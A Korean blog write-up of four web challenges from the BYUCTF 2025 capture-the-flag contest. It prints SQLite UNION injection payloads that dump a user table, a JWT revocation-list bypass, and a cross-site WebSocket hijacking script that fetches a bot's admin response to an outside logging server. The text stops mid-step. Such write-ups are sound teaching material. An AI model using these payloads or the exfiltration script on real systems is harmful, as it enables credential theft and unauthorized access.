Search

[BYUCTF 2025] Write-Up 작성 및 후기

Categories
Tags
작성일
2025/05/22
1 more property

Introduction

BYUCTF는 @5/17/2025 → 5/18/2025 동안 진행된 대회로, 브리검영(Brigham Young) 대학의 CTF 팀에서 주최한 대회입니다.
문제는 Misc, Crypto, Rev, Web, OSINT, Forensics, Pwn 총 7개 카테고리에서 총 41개의 문제가 출제 되었으며, 저는 이번 대회에서 총 5개의 문제를 해결했습니다.
특히 이번 대회에서는 OSINT 문제들이 가장 인상적이었는데, 밈을 만들어낼 정도로 큰 관심을 보여주었습니다.
CAMERON SNIDER는 문제 출제자 이름입니다..
저도 OSINT 카테고리의 'Under the Overpass' 문제를 풀면서 정답이라고 생각한 플래그를 입력 했지만 오답 결과를 받았고, 더 나올 정답이 없어 운영진에게 문의 하니 분명 답이 아니라고 답변을 받았습니다.
근데 대회가 끝나고나니 제가 문의한 내용이 정답이였습니다. (CTF 대회는 플래그를 유추하는 방식의 문의는 하면 안되나 봅니다 )
아무튼 이번 대회는 아쉽게도 12위로 마무리 하게 되었습니다.(저 문제만 맞췄으면 10위권에 속하는 건데..)

Web Challenges

Red This

https://redthis.chal.cyberjousting.com
Plain Text
복사

Description

이 문제는 설명 없이 링크 주소와 해당 문제의 파일들만 제공되었습니다.
링크를 통해 접속한 페이지는 문구를 통해 No SQL을 사용하고 있다고 얘기해주고 있으며, 아래와 같이 인물을 선택한 뒤 Submit 버튼을 클릭하면 해당 인물의 인용구 확인할 수 있는 페이지입니다.
Submit 버튼을 클릭 했을 때는 POST 메소드로 URL /get_quote 을 요청하는 것을 확인했습니다.
이후 처리되는 로직을 살펴보기 위해 제공된 파일들을 살펴보았는데, URL /get_quote 요청은 다음과 같이 처리되는 것을 확인할 수 있었습니다.
 POST /get_quote 엔드포인트 구현부
이 함수는 폼 데이터 famous_personflag가 포함되어 있고 세션 데이터의 usernameadmin이 아닌 경우에는 Nope을 반환합니다. 그렇지 않은 경우에는 getData 함수에 famous_person 값을 전달하여 그 결과를 반환합니다.
@app.route('/get_quote', methods=['POST']) def getQuote(): username = flask.session.get('username') person = flask.request.form.get('famous_person') quote = [person, ''] if "flag" in person and username != "admin": quote[1] = "Nope" else: quote[1] = getData(person) adminOptions = getAdminOptions(username) return flask.render_template('index.html', adminOptions=adminOptions, quote=quote)
Python
복사
이어서 getData 함수는 다음과 같이 구현되어 있습니다.
 getData 함수 구현부
이 함수는 Redis 데이터베이스에 저장된 값을 조회하기 위한 것으로, 인자로 전달된 key 의 값을 조회하는 함수입니다.
def getData(key): db = redis.Redis(host=HOST, port=6379, decode_responses=True) value = db.get(key) return value
Python
복사
이후 문제에서 제공해준 파일들을 살펴봤는데, insert.redis 파일에서 초기에 저장되는 데이터 정보를 확인할 수 있었습니다. 그리고 다음과 같이 key 가 flag_ 인 값에 플래그 정보가 담겨있는 것을 확인할 수 있었습니다.
따라서 Redis 데이터베이스에서 flag_ 키를 조회하면 플래그 정보를 획득할 수 있습니다. 이를 위해 getData 함수의 인자로 flag_ 를 전달해야 합니다. 하지만 앞서 살펴봤던대로, /get_quote URL에서 폼 데이터 famous_personflag 라는 문자열이 포함되어 있고 세션의 usernameadmin 이 아닌 경우에는 Nope 이라는 응답만 반환됩니다. 그러므로 먼저 세션의 username 값을 admin으로 설정해야 합니다.

Solution

세션에 담긴 username 의 값을 admin 으로 지정할 수 있는 방법은 POST 메소드로 요청되는 URL /login 엔드포인트에서 확인할 수 있었습니다.
 /login 엔드포인트 구현부
@app.route('/login', methods=['POST', 'GET']) def login(): # return register page if flask.request.method == 'GET': error = flask.request.args.get('error') return flask.render_template('login.html', error=error) username = flask.request.form.get("username").lower() password = flask.request.form.get("password") ## error check if not username or not password: return flask.redirect('/login?error=Missing+fields') # check username and password dbUser = getData(username) dbPassword = getData(username + "_password") if dbUser == "User" and dbPassword == password: flask.session['username'] = username return flask.redirect('/') return flask.redirect('/login?error=Bad+login')
Python
복사
위 코드에서 로그인 검증은 다음과 같은 과정을 검사하는 것을 확인할 수 있습니다.
1.
폼 데이터 usernamepassword 를 전달 받는다.
username = flask.request.form.get("username").lower() password = flask.request.form.get("password")
Python
복사
2.
getData 함수를 통해 Redis 데이터베이스에서 다음 두 데이터를 조회합니다.
# check username and password dbUser = getData(username) dbPassword = getData(username + "_password") if dbUser == "User" and dbPassword == password: flask.session['username'] = username return flask.redirect('/')
Python
복사
username 에 해당하는 키의 값이 User 인지 확인
{username}_password 키의 값이 전달받은 password 와 일치하는지 확인
위 내용을 통해 Redis 데이터베이스에 저장된 유저 정보(username, password)는 아래의 구조로 저장되는 것을 알 수 있습니다.
username 이 admin 인 경우 패스워드의 key 이름은 admin_password
username 이 test 인 경우 패스워드의 key 이름은 test_password
이후 사용자가 전달한 폼 데이터 username 의 값이 세션 내 username 의 값으로 전달되는 것을 확인할 수 있습니다.
username = flask.request.form.get("username").lower() # ... 생략 ... flask.session['username'] = username
Python
복사
그럼 usernameadmin 일때, admin_password 의 값을 찾아야 하는데 앞서 살펴 봤던 insert.redis 를 보면 admin_password 의 값을 확인할 수 있었습니다. 단, 다음과 같이 문제 환경(prod)에서는 패스워드가 다르다고 나와있습니다.(처음 ‘prod_has_a_different_password’ 를 입력 했는데 ‘Bad Login’ 에러만 발생했습니다.)
이를 해결하기 위해 앞서 설명한 URL /get_quote 을 요청하는 방식으로 admin_password 의 값을 가져올 수 있습니다.

Exploit

URL /get_quote 을 요청할 때 famous_person 의 값을 admin_password 로 지정하여 admin_password 의 값을 가져옵니다.
위 요청이 가능한 이유는 /get_quote 요청에서 famous_person 값에 flag가 포함되어 있지 않고, 세션의 usernameadmin이 아닐 때만 getData 함수를 통해 Redis 데이터베이스의 특정 키를 조회할 수 있기 때문입니다.
@app.route('/get_quote', methods=['POST']) def getQuote(): # ...생략... if "flag" in person and username != "admin": quote[1] = "Nope" else: quote[1] = getData(person) # ...생략...
Python
복사
그 다음 획득한 admin_password 를 통해 로그인(/login)을 수행합니다.
username admin
password I_HopeYou4re8admin_iLoveTechn070g_9283910
이후 메인 페이지로 리다이렉션 되는데, 인물을 선택하는 폼에 다음과 같이 flag_ 로 시작하는 옵션을 확인할 수 있었고, 해당 옵션을 선택하고 Submit 버튼을 클릭하면 다음과 같이 플래그 정보를 획득할 수 있었습니다.

Cooking Flask

I threw together my own website! It's halfway done. Right now, you can search for recipes and stuff. I don't know a ton about coding and DBs, but I think I know enough so that no one can steal my admin password... I do know a lot about cooking though. All this food is going to make me burp. Sweet, well good luck https://cooking.chal.cyberjousting.com
Python
복사

Description

해당 문제는 블랙박스 형태의 문제로 링크만 제공되었습니다. 링크에 접속하면 아래의 페이지가 등장하며,
네비 영역을 통해 다른 페이지로 넘어갈 경우 다음과 같이 404 Not Found 에러가 발생합니다.
다른 기능은 발견하지 못했고 처음 나온 페이지에서 Search 버튼을 클릭하면 다음과 같이 검색된 결과를 확인할 수 있었습니다.
또한, 문제 설명에서 힌트를 발견할 수 있었습니다.
문제 설명에는 ‘you can search for recipes and stuff.’ 라고 나와 있어서 데이터베이스 질의를 수행할 때 발생할 수 있는 취약점 즉, SQL Injection을 이용한 문제라는 것을 알 수 있었고 플래그 정보는 ‘that no one can steal my admin password’ 라 나와 있어서 유저 정보가 담긴 테이블에 패스워드가 플래그 정보인 것을 추측했습니다.
이에 페이지에 나와있는 입력 폼에 SQL 질의 관련 특수문자인 싱글 쿼터(')를 입력하여 요청 했더니 다음과 같이 URL 파라미터 tags 에 입력한 값(싱글쿼터, ', %27)에 의해 SQL 에러가 발생하는 것을 발견했습니다.

Solution

먼저, 에러 코드에서 URL 파라미터 tags 가 LIKE 구문에 전달되는 것을 유추하였습니다.
위 코드를 통해 tagsTEST 를 전달할 경우 SQL 질의문 끝에 AND (json_extract(tags, '$') LIKE '%"TEST"%') 가 추가되는 것을 확인했습니다.
query = "" tags = ["TEST"] # TEST 전달 tag_conditions = " OR ".join(["json_extract(tags, '$') LIKE '%\"" + tag + "\"%'" for tag in tags]) query += " AND (" + tag_conditions + ")" print(query) # AND (json_extract(tags, '$') LIKE '%"TEST"%')
Bash
복사
즉, TEST 대신 ') OR 1=1 -- 를 전달할 경우 SQL 질의문의 조건문은 항상 참(true)을 나타냅니다.
AND (json_extract(tags, '$') LIKE '%"') OR 1=1 -- "%')
SQL
복사
반면에 ') OR 1=2 -- 를 전달할 경우 SQL 질의문의 조건문 결과가 거짓(false)을 나타내므로 다음과 같이 아무런 데이터가 조회되지 않는 것을 확인했습니다.
결과적으로 URL 파라미터 tags 에서 SQL Injection 취약점이 존재하는 것을 확인할 수 있었습니다.
그 다음 해당 문제는 검색 결과를 화면에서 확인할 수 있으므로 Union 구문을 이용한 SQL Injection 취약점을 통해 데이터베이스에 저장된 내용을 확인해 볼 수 있습니다. 이에 앞 조건문을 항상 거짓(false)으로 만든 뒤 UNION 구문을 작성했습니다.
최종적으로 다음의 페이로드를 통해 각 컬럼이 페이지 어느 위치에 응답되는지 확인할 수 있었습니다.
') OR 1=2 UNION SELECT "1","2","2025-01-01T00:00:00","4","5","6","[]","8" --
SQL
복사
이제 SQL Injection 취약점을 통해 원하는 데이터를 조회할 수 있고, 조회된 데이터가 출력되는 위치를 확인했으니 데이터베이스의 데이터들을 조회해보겠습니다.

Exploit

원하는 데이터를 조회하기 위해서는 5번째와 6번째 컬럼에 서브쿼리를 입력하면 됩니다. 또한, 앞서 살펴봤던 에러 메시지를 통해 DBMS가 sqlite 인 것으로 확인됩니다.
 테이블 조회
sqlite 에서 테이블 명(name)을 조회하기 위해서는 sqlite_master 테이블을 조회하면 됩니다. 이에 다음과 같은 페이로드를 통해 데이터베이스에 저장된 테이블 정보를 조회할 수 있었습니다.
user 테이블 발견
') OR 1=2 UNION SELECT "1","2","2025-01-01T00:00:00","4",name,"6","[]","8" FROM sqlite_master --
SQL
복사
 user 테이블의 컬럼 조회
sqlite 에서 컬럼조회를 위해서는 SELECT name FROM pragma_table_info('테이블명'); 질의문을 이용할 수 있습니다. 이에 다음과 같은 페이로드를 통해 user 테이블의 컬럼 목록을 조회할 수 있었습니다.
password, username 컬럼 발견
') OR 1=2 UNION SELECT "1","2","2025-01-01T00:00:00","4",name,"6","[]","8" FROM pragma_table_info('user')--
SQL
복사
 유저 정보(username, password) 조회
위에서 발견한 테이블 명 user 와 컬럼 명(username, password)을 통해 유저 정보를 조회합니다.
→ flag 발견
') OR 1=2 UNION SELECT "1","2","2025-01-01T00:00:00","4",username,password,"[]","8" FROM user--
SQL
복사
결국 유저 테이블(user)에서 username 이 admin 인 레코드의 password 컬럼 값에서 플래그를 획득할 수 있었습니다.

JWTF

Unfortunately one of our JWTs was compromised by attackers, so we created a JWT Revocation List to ensure they can't use it anymore. https://jwtf.chal.cyberjousting.com
SQL
복사

Description

문제 설명을 해석하면 다음과 같습니다.
불행히도 공격자들에 의해 우리의 JWT 중 하나가 손상되어, 더 이상 사용할 수 없도록 JWT 폐기 목록을 만들었습니다.
Plain Text
복사
그 다음 함께 제공된 링크에 접속하면 단순히 ‘Hello World!’ 만 적혀있는 페이지를 확인할 수 있습니다.
이후 문제에서 제공된 파일들을 살펴보면 Flask로 구현된 웹 애플리케이션을 확인할 수 있었으며, 해당 파일에서 총 4개의 엔드포인트를 확인할 수 있었습니다.
 /
메인 페이지로, 해당 페이지를 요청하면 서버는 쿠키에 JWT를 발급합니다. 발급된 JWT에는 admin 값이 false 로 설정되어 있습니다.
@app.route('/', methods=['GET']) def main(): resp = make_response('Hello World!') resp.set_cookie('session', jwt.encode({"admin": False}, APP_SECRET, algorithm="HS256")) return resp
Python
복사
 /get_admin_cookie
URL 파라미터로 adminsecretuid 를 전달받아, uid가 '1337' 이거나 파라미터가 누락된 경우 메인 페이지(/)로 리다이렉트됩니다. 이후 전달된 secretADMIN_SECRET 과 일치하는 경우 admin 값이 true로 설정된 JWT를 발급합니다.
@app.route('/get_admin_cookie', methods=['GET']) def get_admin_cookie(): secret = request.args.get('adminsecret', None) uid = request.args.get('uid', None) if secret is None or uid is None or uid == '1337': return redirect('/') if secret == ADMIN_SECRET: resp = make_response('Cookie has been set.') resp.set_cookie('session', jwt.encode({"admin": True, "uid": uid}, APP_SECRET, algorithm="HS256")) return resp
Python
복사
/flag 엔드포인트
쿠키 session 을 가져와 폐기 목록(jrl)에 포함되어 있거나 JWT에 admin 값이 True 가 아닌 경우 메인 페이지로 리다이렉트되며, JWT의 admin 값이 true 라면 플래그를 반환합니다.
@app.route('/flag', methods=['GET']) def flag(): session = request.cookies.get('session', None).strip().replace('=','') if session is None: return redirect('/') # check if the session is in the JRL if session in jrl: return redirect('/') try: payload = jwt.decode(session, APP_SECRET, algorithms=["HS256"]) if payload['admin'] == True: return FLAG else: return redirect('/') except: return redirect('/')
Python
복사
/jrl 엔드포인트
JWT 폐기 목록(jrl)을 확인할 수 있는 엔드포인트로, 문제 설명에 기재된대로 서버가 더 이상 허용하지 않는 JWT 목록을 반환합니다.
jrl = [ jwt.encode({"admin": True, "uid": '1337'}, APP_SECRET, algorithm="HS256") ] @app.route('/jrl', methods=['GET']) def get_jrl(): return make_response(json.dumps(jrl))
Python
복사
위 엔드포인트 중에서 플래그 정보를 반환하는 /flag 는 JWT의 admin 값이 반드시 True 이어야 플래그 정보를 반환하고 있습니다.
 /flag 엔드포인트 코드 일부
payload = jwt.decode(session, APP_SECRET, algorithms=["HS256"]) if payload['admin'] == True: return FLAG
Python
복사
그럼 JWT의 admin 값이 True 로 지정되어야 하는데, 이는 /get_admin_cookie 엔드포인트 처리 과정에서 이루어지고 있으나 랜덤한 32바이트 Hex 문자열을 알아야 합니다.
 /get_admin_cookie 엔드포인트 코드 일부
ADMIN_SECRET = os.urandom(32).hex() # ... 생략 ... @app.route('/get_admin_cookie', methods=['GET']) def get_admin_cookie(): secret = request.args.get('adminsecret', None) uid = request.args.get('uid', None) # ... 생략 ... if secret == ADMIN_SECRET: resp = make_response('Cookie has been set.') resp.set_cookie('session', jwt.encode({"admin": True, "uid": uid}, APP_SECRET, algorithm="HS256")) return resp # ... 생략 ...
Python
복사
이를 통해 플래그 정보는 다음의 과정을 통해 획득할 수 있지만 몇가지 제약사항이 존재합니다.
1.
/get_admin_cookie 엔드포인트를 요청할 때 ADMIN_SECRET 의 값과 일치하는 값을 URL 파라미터 adminsecret(secret)로 전달한 뒤 JWT의 adminTrue 인 토큰을 발급 받는다.
ADMIN_SECRET 는 랜덤한 32바이트 크기의 헥사 문자열로 예측하기가 매우 어렵다.
2.
JWT의 admin 값이 True 인 토큰을 쿠키 session 에 담아 /flag 를 요청한다.
전달한 쿠키 session 즉, JWT 토큰은 JWT 폐기 목록(jrl)에 존재하지 않아야 한다.
즉, 일반적으로 랜덤한 32바이트 크기의 헥사 문자열 ADMIN_SECRET 를 찾을 수 없으므로 위 과정으로 플래그 정보를 획득할 수는 없습니다.

Solution

/flag 엔드포인트를 살펴보면, 쿠키로 전달된 session 값이 JWT 폐기 목록(jrl)에 존재하는지 확인하는 코드가 있습니다.
JWT 폐기 목록(jrl)은 다음 코드와 같이 APP_SECRET 으로 서명된 JWT를 리스트로 저장한 것입니다.
# JRL - JWT Revocation List jrl = [ jwt.encode({"admin": True, "uid": '1337'}, APP_SECRET, algorithm="HS256") ]
Python
복사
그리고 이 jrl 에 담긴 값은 아래와 같이 URL /jrl 을 요청하면 확인할 수 있습니다.
jrl 에 담긴 JWT는 다음과 같이 세 부분으로 구성되어 있으며, 각각은 Base64URL 방식으로 인코딩된 문자열입니다.
"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhZG1pbiI6dHJ1ZSwidWlkIjoiMTMzNyJ9.BnBYDobZVspWbxu4jL3cTfri_IxNoi33q-TRLbHV-ew"
Python
복사
 JWT 구조
<base64url-encoded header>
<base64url-encoded payload>
<base64url-encoded signature>
이때 일반적인 Base64 가 아닌 Base64URL 를 사용하는 이유는 다음과 같습니다.
 JWT에서 일반 Base64 vs Base64URL
기존의 Base64 인코딩은 아래와 같은 문자를 포함합니다:
+ URL에서 공백처럼 오해될 수 있음
/ URL 경로 구분자로 인식될 수 있음
= 패딩 문자로, URL 파라미터에서 문제를 일으킬 수 있음
이러한 이유로, JWT에서는 URL이나 HTTP 헤더에서 안전하게 사용할 수 있도록 Base64URL 인코딩을 사용하며, 다음과 같이 문자를 변환하여 충돌을 방지합니다
Base64 문자
Base64URL 문자
+
-
/
_
=
(제거됨)
따라서 조금 전 /jrl 을 통해 확인한 JWT 값에서 -, _ 문자를 각각 +, / 로 바꾸면 문자열 자체는 달라지지만, 디코딩 결과는 동일한 값을 나타냅니다. 이는 Base64Base64URL 이 같은 바이너리 데이터를 표현하는 방식만 다를 뿐 동일한 정보를 담고 있기 때문입니다.
참고로 패딩 문자(=)를 추가하는 방식도 있지만 해당 문제에서는 패딩 문자를 제거하고 있습니다.
결과적으로 /jrl 을 요청해서 얻은 JWT는 adminTrue 인 값이므로, 이 값에서 Base64URL 일부 문자를 Base64 문자를 변경합니다. 이후 변경된 JWT를 쿠키 session 에 담아 /flag 를 요청하면 jrl 과 비교하는 구문에서 문자열이 다르므로 JWT 폐기 목록을 검증하는 구문을 우회할 수 있습니다.

Exploit

/jrl 을 요청해서 JWT 값을 획득합니다.
이후 위 JWT의 값에서 Base64URl 문자(-, _)를 Base64 문자(+, /)로 변경합니다.
# 변경 전 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhZG1pbiI6dHJ1ZSwidWlkIjoiMTMzNyJ9.BnBYDobZVspWbxu4jL3cTfri_IxNoi33q-TRLbHV-ew # 변경 후 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhZG1pbiI6dHJ1ZSwidWlkIjoiMTMzNyJ9.BnBYDobZVspWbxu4jL3cTfri/IxNoi33q+TRLbHV+ew
Bash
복사
그 다음 변경된 JWT 값을 Cookie session 에 담아 /flag 를 요청하면 플래그를 획득할 수 있습니다.
그 밖에, 공식 Write-Up에서는 마지막 서명 문자열의 일부를 바꾸는 방법을 설명해줬는데 이는 다음과 같습니다.
JWT의 마지막 문자를 Base64URL 인코딩 문자셋에서 알파벳 상 다음 문자로 바꿨을 때, 디코딩한 결과 바이트 배열이 같을 수 있다. 그 이유는 Base64 인코딩의 마지막 블록이 표현하는 비트 중 일부가 실제 데이터가 아닌 패딩 또는 잘려나가는 비트이기 때문입니다. 따라서, 마지막 문자의 변화가 실제 디코딩 결과에 영향을 주지 않는 경우가 생길 수 있습니다.
이에 대한 PoC 코드는 다음과 같습니다.
import base64 def decode_base64url(s): # Base64URL에서는 항상 4의 배수 길이여야 함. padded = s + "=" * (-len(s) % 4) return base64.urlsafe_b64decode(padded) # JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhZG1pbiI6dHJ1ZSwidWlkIjoiMTMzNyJ9.BnBYDobZVspWbxu4jL3cTfri_IxNoi33q-TRLbHV-ew jwt_signature = "BnBYDobZVspWbxu4jL3cTfri_IxNoi33q-TRLbHV-ew" jwt_signature_change = "BnBYDobZVspWbxu4jL3cTfri_IxNoi33q-TRLbHV-ex" print(decode_base64url(jwt_signature)) print(decode_base64url(jwt_signature_change)) # b'\x06pX\x0e\x86\xd9V\xcaVo\x1b\xb8\x8c\xbd\xdcM\xfa\xe2\xfc\x8cM\xa2-\xf7\xab\xe4\xd1-\xb1\xd5\xf9\xec' # b'\x06pX\x0e\x86\xd9V\xcaVo\x1b\xb8\x8c\xbd\xdcM\xfa\xe2\xfc\x8cM\xa2-\xf7\xab\xe4\xd1-\xb1\xd5\xf9\xec' # True
Python
복사

Wembsoncket

WebSockets are relatively new, so they must be secure, right? https://wembsoncket.chal.cyberjousting.com
Plain Text
복사

Description

문제에서 제공해준 링크를 클릭하면 다음과 같이 봇과 채팅을 할 수 있는 챗봇이 확인됩니다.
이어서 문제에서 제공해준 파일에는 챗봇이 구현된 서버 코드를 확인할 수 있으며, 다음과 같이 메인 페이지(/)에 대한 엔드포인트와 웹 소켓 서버 핸들러를 확인할 수 있습니다.
즉, 메인 페이지(/) 엔드포인트는 챗봇 템플릿을 반환하고 있으며, 챗봇은 웹 소켓으로 동작하는 것을 알 수 있습니다.
메인 페이지 엔드포인트는 요청과 응답 사이에 미들웨어로 checkCookie 함수를 호출하고 있으며,
app.get('/', checkCookie, (req, res) => { res.sendFile(path.join(__dirname, 'public', 'index.html')); });
JavaScript
복사
checkCookie 함수는 쿠키 token 의 값(JWT)이 없는 경우 랜덤한 uuid를 새로운 JWT를 생성하여 쿠키에 설정하고 있습니다.
 checkCookie 함수 구현부
const JWT_SECRET = fs.readFileSync('secret.txt', 'utf8').trim() // ... 생략 ... const checkCookie = (req, res, next) => { const token = req.cookies.token; // If the user does not have a token, generate a new one if (!token) { const userId = uuidv4(); const jwtToken = jwt.sign({ userId }, JWT_SECRET); res.cookie('token', jwtToken, { httpOnly: true, sameSite: 'None', secure: true }); return res.redirect('/'); } try { // Verify the JWT token and get the userId const decoded = jwt.verify(token, JWT_SECRET); req.userId = decoded.userId; next(); } catch (error) { // If the JWT token is invalid, generate a new one const userId = uuidv4(); const jwtToken = jwt.sign({ userId }, JWT_SECRET); res.cookie('token', jwtToken, { httpOnly: true, sameSite: 'None', secure: true }); return res.redirect('/'); } };
JavaScript
복사
이어서 웹 소켓 핸들러를 자세히 살펴보면 소켓 메시지가 전달될 때 입력한 메시지에 따라 처리가 달라지는 것을 확인할 수 있습니다.
 웹 소켓 핸들러 처리 로직
1.
먼저, 웹 소켓 서버가 연결되면, 쿠키 token 을 가져와 변수 userId 를 초기화 하고 있습니다.
const userId = req.headers.cookie ? req.headers.cookie.split('token=')[1] : null;
JavaScript
복사
2.
그 다음 userId 가 존재할 경우 비밀 키(JWT_SECRET)를 통해 해당 userId 값(JWT 토큰)을 디코딩하고 디코딩된 값에서 userId 의 값을 변수 user 에 초기화하고 있습니다.
3.
이후 웹 소켓 메시지를 다음과 같이 구분하여 처리하고 있습니다.
const FLAG = fs.readFileSync('flag.txt', 'utf8').trim() // ... 생략 ... if (message.message === '/getFlag') { if (user === 'admin') { sendMsg(ws, `Flag: ${FLAG}`); } else { sendMsg(ws, 'You are not authorized to get the flag'); } } else { if (message.message.startsWith('http://') || message.message.startsWith('https://')) { sendMsg(ws, 'Checking URL...'); const result = await visitUrl(message.message); // have the adminBot visit the URL if (result === 'success') { sendMsg(ws, `${message.message} is up!`); } else { sendMsg(ws, `${message.message} returned an error: ${result}`); } } else { sendMsg(ws, 'Please send a URL starting with http:// or https://'); } }
JavaScript
복사
/getFlag 메시지를 전달할 경우 변수 user 의 값이 ‘admin’ 인 경우 플래그를 반환
http://, https:// 로 시작하는 URL인 경우 그 값을 visitUrl 함수의 인자로 전달하여 호출
즉, 챗봇은 /getFlag 와 URL(https:// 또는 http://) 메시지만을 처리하고 있으며, 이 중 /getFlag 를 전달할 때 JWT가 담긴 쿠키 token 의 값에 user 의 값이 ‘admin’인 경우에만 플래그를 반환하고 있습니다.
또한, URL 메시지를 전달할 경우 visitUrl 함수에 URL을 전달하여 호출하고 있으며 해당 함수는 아래의 코드로 구현되어있습니다.
 visitUrl 함수 구현부
// Secret key for signing JWT const JWT_SECRET = fs.readFileSync('secret.txt', 'utf8').trim() // Admin cookie for authentication const adminCookie = jwt.sign({ userId: 'admin' }, JWT_SECRET); // Function to visit a URL using Puppeteer const visitUrl = async (url) => { // console.log('Visiting URL:', url); let browser; try { browser = await puppeteer.launch({ headless: "new", pipe: true, dumpio: true, args: [ '--no-sandbox', '--disable-gpu', '--disable-software-rasterizer', '--disable-dev-shm-usage', '--disable-setuid-sandbox', '--js-flags=--noexpose_wasm,--jitless', ] }); // console.log('Opening page'); const page = await browser.newPage(); try { await page.setUserAgent('puppeteer'); let cookies = [{ name: 'token', value: adminCookie, domain: 'wembsoncket.chal.cyberjousting.com', httpOnly: true, sameSite: 'None', secure: true }]; // console.log('Setting cookies:', cookies); await page.setCookie(...cookies); let statusCode = null; page.on('response', (response) => { if (response.url() === url) { statusCode = response.status(); } }); // console.log('Navigating to the URL'); const response = await page.goto(url, { timeout: 10000, waitUntil: 'networkidle2' }); if (!statusCode && response) { statusCode = response.status(); } // console.log('Waiting for page content'); await page.waitForSelector('body'); if (statusCode === 200) { return 'success'; } else if (statusCode) { return `Unexpected status code ${statusCode}`; } else { return 'No status code captured'; } } catch (error) { console.error('Error navigating to page:', error.message); return `Navigation failed - ${error.message}`; } finally { // console.log('Closing page'); await page.close(); } } catch (error) { console.error('Error launching browser:', error.message); return `Browser launch failed - ${error.message}`; } finally { if (browser) { // console.log('Closing browser'); await browser.close(); } } };
JavaScript
복사
즉, 전달받은 URL(url)을 봇이 브라우저로 방문하는데, 이때 쿠키 token 의 값을 JWT로 생성된 토큰(userId: 'admin')으로 설정하고 있습니다.
// Admin cookie for authentication const adminCookie = jwt.sign({ userId: 'admin' }, JWT_SECRET); // ... 생략 ... let cookies = [{ name: 'token', value: adminCookie, domain: 'wembsoncket.chal.cyberjousting.com', httpOnly: true, sameSite: 'None', secure: true }]; // console.log('Setting cookies:', cookies); await page.setCookie(...cookies); // ... 생략 ... const response = await page.goto(url, { timeout: 10000, waitUntil: 'networkidle2' });
JavaScript
복사
따라서, 플래그는 다음의 과정을 통해 획득할 수 있습니다.
 플래그 획득 과정
1.
/getFlag 요청을 보내고 응답(플래그)을 수신하는 WebSocket 스크립트를 작성해 서버에 호스팅합니다.
2.
해당 스크립트의 URL을 챗봇에 전송합니다.
3.
챗봇은 userId: 'admin' JWT를 쿠키에 담아 해당 URL로 접속합니다.
4.
접속한 페이지에서 웹 소켓 연결 후 /getFlag 메시지를 전송합니다.
5.
서버는 admin 권한을 확인하고 플래그를 응답합니다.
6.
페이지는 응답받은 플래그를 외부 서버로 전송합니다.

Solution

먼저, 봇이 /getFlag 를 요청하고 그 응답을 전송하는 스크립트를 Flask 프레임워크를 이용해 아래와 같이 구현했습니다.
from flask import Flask, request, Response from flask_cors import CORS PORT = 80 TARGET = "wss://wembsoncket.chal.cyberjousting.com/" # 웹 소켓 서버 LOG_SERVER = "http://test.dottak.me" # 이 코드가 동작하는 서버 주소 app = Flask(__name__) CORS(app) @app.route('/', methods=['GET']) def main(): script = f""" <script> const ws = new WebSocket("{TARGET}"); ws.addEventListener("open", () => {{ fetch("{LOG_SERVER}/log?tag=event&data=open"); ws.send("{{\\"message\\": \\"/getFlag\\"}}") }}); ws.addEventListener("message", (event) => {{ fetch("{LOG_SERVER}/log?tag=recv&data=" + event.data); }}); ws.addEventListener("close", (event) => {{ fetch("{LOG_SERVER}/log?tag=event&data=close("+event.code+", "+event.reason+")"); }}); ws.addEventListener("error", (error) => {{ fetch("{LOG_SERVER}/log?tag=event&data=Error: " + error); }}); </script> """ return Response(script) @app.route('/log', methods=['GET']) def log(): tag = request.args.get("tag") data = request.args.get("data") msg = f"[*] {tag} :: {data}" print(msg) return msg app.run(host="0.0.0.0", port=PORT, debug="True")
Python
복사
위 코드가 동작하는 서버 주소(LOG_SERVER)를 챗봇에게 전달하면 챗봇은 응답받은 자바스크립트를 실행하게 됩니다. 따라서, 위 자바스크립트 코드는 아래의 과정을 통해 플래그를 획득하게 됩니다.
 스크립트 동작 과정
1.
웹 소켓을 연결을 성공적으로 완료했으면, {"message": "/getFlag"} 메시지를 전달합니다.
const ws = new WebSocket("{TARGET}"); ws.addEventListener("open", () => {{ fetch("{LOG_SERVER}/log?tag=event&data=open"); ws.send("{{\\"message\\": \\"/getFlag\\"}}") }});
JavaScript
복사
2.
{"message": "/getFlag"} 메시지 요청에 대한 응답을 LOG_SERVER 의 주소로 전달합니다.
ws.addEventListener("message", (event) => {{ fetch("{LOG_SERVER}/log?tag=recv&data=" + event.data); }});
JavaScript
복사
결국 봇은 웹 소켓을 연결하고 {"message": "/getFlag"} 메시지를 전달할 때, {userId: 'admin'} 정보가 포함된 JWT 토큰을 포함하여 전달하게 됩니다.
이후 서버는 userId 가 ‘admin’ 인 것을 확인했으니 플래그를 응답하게 됩니다.

Exploit

앞서 Flask 프레임워크로 구현된 코드를 실행합니다. 이후 해당 웹 서버로 접속하면 다음과 같이 웹 소켓이 연결된 이후 메시지를 전송하는 것을 확인하실 수 있습니다.
그리고 웹 서버 로그에서는 아래와 같이 로그 정보를 확인하실 수 있습니다.(현재는 {userId: 'admin} 이 아니므로 플래그를 확인할 수 없습니다.)
위와 같이 스크립트가 정상 동작하는 것을 확인 했으니 챗봇에 서버 주소를 입력하여 봇이 해당 주소를 접근할 수 있도록 합니다.
다만 문제 서버(챗봇)는 이유는 잘 모르겠으나 다음과 같이 timeout이 발생합니다. 이에 로컬에서 테스트를 했는데 이때는 봇이 정상적으로 접속되는 것을 확인할 수 있었습니다.
대회 운영 디스코드의 공지 채널을 확인해보니 일부 webhook 사이트들이 방화벽에 의해 차단되었다는 내용이 있었습니다. 제가 사용한 EC2 서버는 방화벽 제한과는 무관해 보였지만, 공지에서 ngrok 는 정상 동작한다고 언급되어 있어서 Flask 서버를 ngrok 으로 매핑하는 방법을 시도했습니다.
 ngrok 로 Flask 웹 애플리케이션 서버 매핑
1.
ngrok 를 외부에서 80포트(http:)로 수신받기 위해 기존 Flask 서버 포트(80)를 다른 포트(8080)으로 변경합니다.
2.
그 다음 아래의 명령어를 통해 로컬에 있는 Flask 서버(8080 포트)를 ngrok 으로 연결해줍니다.
docker run -it --rm \ --add-host=host.docker.internal:host-gateway \ -e NGROK_AUTHTOKEN=your_token \ ngrok/ngrok http host.docker.internal:8080
Bash
복사
3.
그럼 다음과 같이 ngrok URL 주소를 확인할 수 있는데 해당 주소를 복사합니다.
4.
